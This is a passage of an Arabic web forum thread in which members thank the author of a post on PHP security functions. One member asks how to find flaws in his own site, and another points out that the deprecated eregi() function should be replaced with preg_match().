    تاريخ الإنضمام: 27 - 08 - 2005
    رقم العضوية : 7715
    الدولة : || الكويــ السعودية ـــت ||
    المشاركات: 2,594
    • أرسل رسالة بواسطة MSN إلى مشتاقين
    افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
    بارك الله فيك , ماشاءاله
    Ehab Obaidat‎‏ معجب بهذا.


    •.¸¸.•| مشعل |•.¸¸.•
    قديمة 05 - 08 - 2016, 18:44
    المشاركة 3
    صورة 'Al-Kaiser' الرمزية
    Al-Kaiser
    :: عضو نشيط ::
    تاريخ الإنضمام: 16 - 07 - 2015
    رقم العضوية : 292108
    المشاركات: 1,082
    • أرسل رسالة بواسطة Skype™ إلى Al-Kaiser
    الإجابات المقدمة: 84
    افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
    شكرا لك اخوي ايهاب على الموضوع الشيق

    وصراحة استفدت من الموضوع بشكل كبير ولكن نبحث عن طرق اني اكتشف ثغرات موقعي وطرق ترقيعها بشكل الصحيح وليس ترقيع عفوي

    وشكرا لك مره اخرى
    Ehab Obaidat‎‏ معجب بهذا.



    للتواصل معي على السناب شات

    http://i.imgur.com/6efB7SS.png

    تقدر تعمل له كابتشر وتضيفني بالسناب او عبر اسم الحساب والي هو kaiser-503


    قديمة 05 - 08 - 2016, 18:58
    المشاركة 4
    صورة 'Ehab Obaidat‎‏' الرمزية
    Ehab Obaidat‎‏
    :: مساعد مشرف ::
    :: ركن مشاكل لغات البرمجة ::
    تاريخ الإنضمام: 19 - 02 - 2015
    رقم العضوية : 263969
    الدولة : Palestine - Jerusalem
    المشاركات: 8,159
    • أرسل رسالة بواسطة MSN إلى Ehab Obaidat‎‏
    الإجابات المقدمة: 545
    قديمة 05 - 08 - 2016, 19:00
    المشاركة 5
    صورة 'Ehab Obaidat‎‏' الرمزية
    Ehab Obaidat‎‏
    :: مساعد مشرف ::
    :: ركن مشاكل لغات البرمجة ::
    تاريخ الإنضمام: 19 - 02 - 2015
    رقم العضوية : 263969
    الدولة : Palestine - Jerusalem
    المشاركات: 8,159
    • أرسل رسالة بواسطة MSN إلى Ehab Obaidat‎‏
    الإجابات المقدمة: 545
    افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
    شكرا لك اخوي ايهاب على الموضوع الشيق

    وصراحة استفدت من الموضوع بشكل كبير ولكن نبحث عن طرق اني اكتشف ثغرات موقعي وطرق ترقيعها بشكل الصحيح وليس ترقيع عفوي

    وشكرا لك مره اخرى

    عفوا حبيبي ولو واجبنا والحمدالله انك استفدت من الموضوع

    ههههه اشرح لك كيف تكتشفها بشكل كامل يعني تعلم اختراق وهل شيء مخالف قوانين المعهد تابع في جوجل ^_^ بتعرف طلبك اكثر
    قديمة 07 - 08 - 2016, 02:35
    المشاركة 6
    صورة 'shqawe' الرمزية
    shqawe
    :: عضو نشيط ::
    تاريخ الإنضمام: 01 - 12 - 2005
    رقم العضوية : 13187
    المشاركات: 3,134
    الإجابات المقدمة: 22
    افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
    مشكور على الموضوع اخوي ايهاب وحقيقه هذا ما هو درس هذا يعتبر مرجع الواحد يقدر يرجع له

    ولكن عندي ملاحظة بسيطة فقط على اول وثاني كود اللي انت مستخدم فيه دالة eregi() وكما هو معروف الدالة هذي تم اهمالها في اصدارات php 5.3.0 وسوف يتم حذفها في اصدارات 7.0.0 والافضل استخدام الدالة perg_match() حسب موقع php الرسمي
    PHP: eregi - Manual

    وتقبل احترامي وتقديري

    اخوك

    شقاوي
    Al-Kaiser و Ehab Obaidat‎‏ معجبون بهذا .
    اللهم الطف بحالنا
    ولا تؤاخذنا بما فعل السفهاء منا
    سبحان الله وبحمده ... سبحان الله العظيم
    قدم المعلومة لله ولا تنتظر الشكر من احد
    Skype: shqawe
    قديمة 22 - 08 - 2016, 04:15
    المشاركة 7
    صورة 'Ehab Obaidat‎‏' الرمزية
    Ehab Obaidat‎‏
    :: مساعد مشرف ::
    :: ركن مشاكل لغات البرمجة ::
    تاريخ الإنضمام: 19 - 02 - 2015
    رقم العضوية : 263969
    الدولة : Palestine - Jerusalem
    المشاركات: 8,159
    • أرسل رسالة بواسطة MSN إلى Ehab Obaidat‎‏
    الإجابات المقدمة: 545
    افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
    مشكور على الموضوع اخوي ايهاب وحقيقه هذا ما هو درس هذا يعتبر مرجع الواحد يقدر يرجع له

    ولكن عندي ملاحظة بسيطة فقط على اول وثاني كود اللي انت مستخدم فيه دالة eregi() وكما هو معروف الدالة هذي تم اهمالها في اصدارات php 5.3.0 وسوف يتم حذفها في اصدارات 7.0.0 والافضل استخدام الدالة perg_match() حسب موقع php الرسمي
    PHP: eregi - Manual

    وتقبل احترامي وتقديري

    اخوك

    شقاوي
    اكيد اخوي وانا ضفت انه شرح لحتى توضح فكره عند الجميع بارك الله فيك على حسن متابعه
    اضافة رد
    العلامات المرجعية

    شرح بعض دوال الحماية وبعض طرق الحماية في php


    دورة مبادئ LARAVEL عمل select box داينامك باستخدام ال jquery

    أدوات الموضوع
    طرق العرض



    الساعة معتمدة بتوقيت جرينتش +3 . الساعة الآن : 08:42.
    المعهد غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء
    فعلى كل شخص تحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه
    التعليقات المنشورة لا تعبر عن رأي معهد ترايدنت ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر)

    جميع الحقوق محفوظة Traidnt 2015
    • 00966138651070
    • 00966138648289
    • 2051033691
    Powered by vBulletin® Version 3.8.7 .Copyright ©2000 - 2017, Jelsoft Enterprises Ltd
    SEO by vBSEO ©2011, Crawlability, Inc.